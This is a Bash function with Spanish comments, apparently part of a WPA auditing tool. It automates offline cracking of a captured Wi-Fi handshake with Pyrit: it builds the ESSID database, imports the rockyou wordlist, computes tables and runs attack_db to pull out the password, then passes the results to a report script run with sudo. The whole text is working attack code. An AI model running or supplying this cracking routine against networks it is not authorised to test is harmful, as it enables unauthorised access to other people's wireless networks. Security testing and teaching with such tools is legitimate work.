```
AnalizarPyrit() {
        echo "****************** Analizando con
Pyrit******************"
        LINEA_ATAQUE=$LINEA_AUX
        LINEA_ATAQUE=$(head -$LINEA_ATAQUE "$LOG_REDES_ESCANEADAS" |
tail -1)
        BSSID=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $3 '})
        ESSID=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $9 '})

        #Creamos el ESSI real del handshake capturado
        pyrit -e "$ESSID" create_essid
        X1="pyrit -e "$ESSID" create_essid"
        sleep 10s

        #utilizamos diccionario rockyou.txt renombrado a wpa.lst
        pyrit -i $WORDLIST import_passwords
        X2="pyrit -i $WORDLIST import_passwords"
        sleep 600s

        #Creamos las tablas utilizando proceso batch
        pyrit batch
        X3="pyrit batch"

        #Asumimos que tenemos capturado el handshake
        X4="pyrit -r captura-01.cap attack_db"
        pyrit -r "$CAPTURA_AIRCRACK-01.cap" attack_db >>
"$LOG_PYRIT" &

        X5="60"
        CLAVE=$(cat $LOG_PYRIT | grep "The password is")
        X6="SI"

        if [ ! `echo $CLAVE | grep "The password is"` ]
        then
                X6="NO"
        fi

        X7="PYRIT.LOG"

        (sudo `python $RUTA_INFORME/SUBSWPA3.py "$X1" "$X2" "$X3"
"$X4" "$X5" "$X6" "$X7"`)

}
```